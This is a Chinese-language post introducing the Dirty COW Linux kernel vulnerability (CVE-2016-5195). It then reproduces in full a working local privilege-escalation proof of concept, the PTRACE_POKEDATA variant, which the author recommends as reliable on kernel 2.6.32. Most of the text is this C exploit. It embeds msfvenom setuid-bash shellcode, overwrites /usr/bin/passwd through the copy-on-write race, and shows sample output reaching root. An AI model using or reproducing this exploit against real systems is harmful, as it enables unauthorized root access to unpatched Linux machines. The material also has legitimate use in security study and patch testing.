脏牛 POC CVE-2016-5195

脏牛漏洞(CVE-2016–5195)是公开后影响范围最广和最深的漏洞之一，这十年来的每一个Linux版本，包括Android、桌面版和服务器版都受到其影响。恶意攻击者通过该漏洞可以轻易地绕过常用的漏洞防御方法，对几百万的用户进行攻击。尽管已针对该漏洞进行了补丁修复，但国外安全公司Bindecy对该补丁和内容做出深入研究后发现，脏牛漏洞的修复补丁仍存在缺陷，由此产生了“大脏牛”漏洞。

脏牛那个洞测试了下在2.6.32下面基本上可以比较稳定的利用，这个POC比较好用

脏牛 POC

/*
* A PTRACE_POKEDATA variant of CVE-2016-5195
* should work on RHEL 5 & 6
* 
* (un)comment correct payload (x86 or x64)!
* $ gcc -pthread c0w.c-o c0w
* $ ./c0w
* DirtyCow root privilege escalation
* Backing up /usr/bin/passwd.. to /tmp/bak
* mmap fa65a000
* madvise 0
* ptrace 0
* $ /usr/bin/passwd 
* [root@server foo]# whoami 
* root
* [root@server foo]# id
* uid=0(root) gid=501(foo) groups=501(foo)
* @KrE80r
*/
#include <fcntl.h>
#include <pthread.h>
#include <string.h>
#include <stdio.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/ptrace.h>
#include <unistd.h>

int f;
void *map;
pid_t pid;
pthread_t pth;
struct stat st;

// change if no permissions to read
char suid_binary[] = "/usr/bin/passwd";

/*
* $ msfvenom -p linux/x64/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i
*/ 
unsigned char shell_code[] = {
0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
0xb1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xea, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x48, 0x31, 0xff, 0x6a, 0x69, 0x58, 0x0f, 0x05, 0x6a, 0x3b, 0x58, 0x99,
0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x53, 0x48,
0x89, 0xe7, 0x68, 0x2d, 0x63, 0x00, 0x00, 0x48, 0x89, 0xe6, 0x52, 0xe8,
0x0a, 0x00, 0x00, 0x00, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73,
0x68, 0x00, 0x56, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05
};
unsigned int sc_len = 177;

/*
* $ msfvenom -p linux/x86/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i
unsigned char shell_code[] = {
0x7f, 0x45, 0x4c, 0x46, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00,
0x54, 0x80, 0x04, 0x08, 0x34, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x20, 0x00, 0x01, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0x88, 0x00, 0x00, 0x00,
0xbc, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00,
0x31, 0xdb, 0x6a, 0x17, 0x58, 0xcd, 0x80, 0x6a, 0x0b, 0x58, 0x99, 0x52,
0x66, 0x68, 0x2d, 0x63, 0x89, 0xe7, 0x68, 0x2f, 0x73, 0x68, 0x00, 0x68,
0x2f, 0x62, 0x69, 0x6e, 0x89, 0xe3, 0x52, 0xe8, 0x0a, 0x00, 0x00, 0x00,
0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73, 0x68, 0x00, 0x57, 0x53,
0x89, 0xe1, 0xcd, 0x80
};
unsigned int sc_len = 136;
*/

void *madviseThread(void *arg) {
int i,c=0;
for(i=0;i<200000000;i++)
c+=madvise(map,100,MADV_DONTNEED);
printf("madvise %d\n\n",c);
}


int main(int argc,char *argv[]){

printf("\n\
 (___) \n\
 (o o)_____/ \n\
@@ ` \\\n\
 \\ ____, /%s\n\
 ////\n\
^^^^ \n\
", suid_binary);
char *backup;
printf("DirtyCow root privilege escalation\n");
printf("Backing up %s to /tmp/bak\n", suid_binary);
asprintf(&backup, "cp %s /tmp/bak", suid_binary);
system(backup);

f=open(suid_binary,O_RDONLY);
fstat(f,&st);
map=mmap(NULL,st.st_size+sizeof(long),PROT_READ,MAP_PRIVATE,f,0);
printf("mmap %x\n\n",map);
pid=fork();
if(pid){
waitpid(pid,NULL,0);
int u,i,o,c=0,l=sc_len;
for(i=0;i<10000/l;i++)
for(o=0;o<l;o++)
for(u=0;u<10000;u++)
c+=ptrace(PTRACE_POKETEXT,pid,map+o,*((long*)(shell_code+o)));
printf("ptrace %d\n\n",c);
 }
else{
pthread_create(&pth,
 NULL,
 madviseThread,
 NULL);
ptrace(PTRACE_TRACEME);
kill(getpid(),SIGSTOP);
pthread_join(pth,NULL);
}
return 0;
}

via：https://gist.github.com/KrE80r/42f8629577db95782d5e4f609f437a54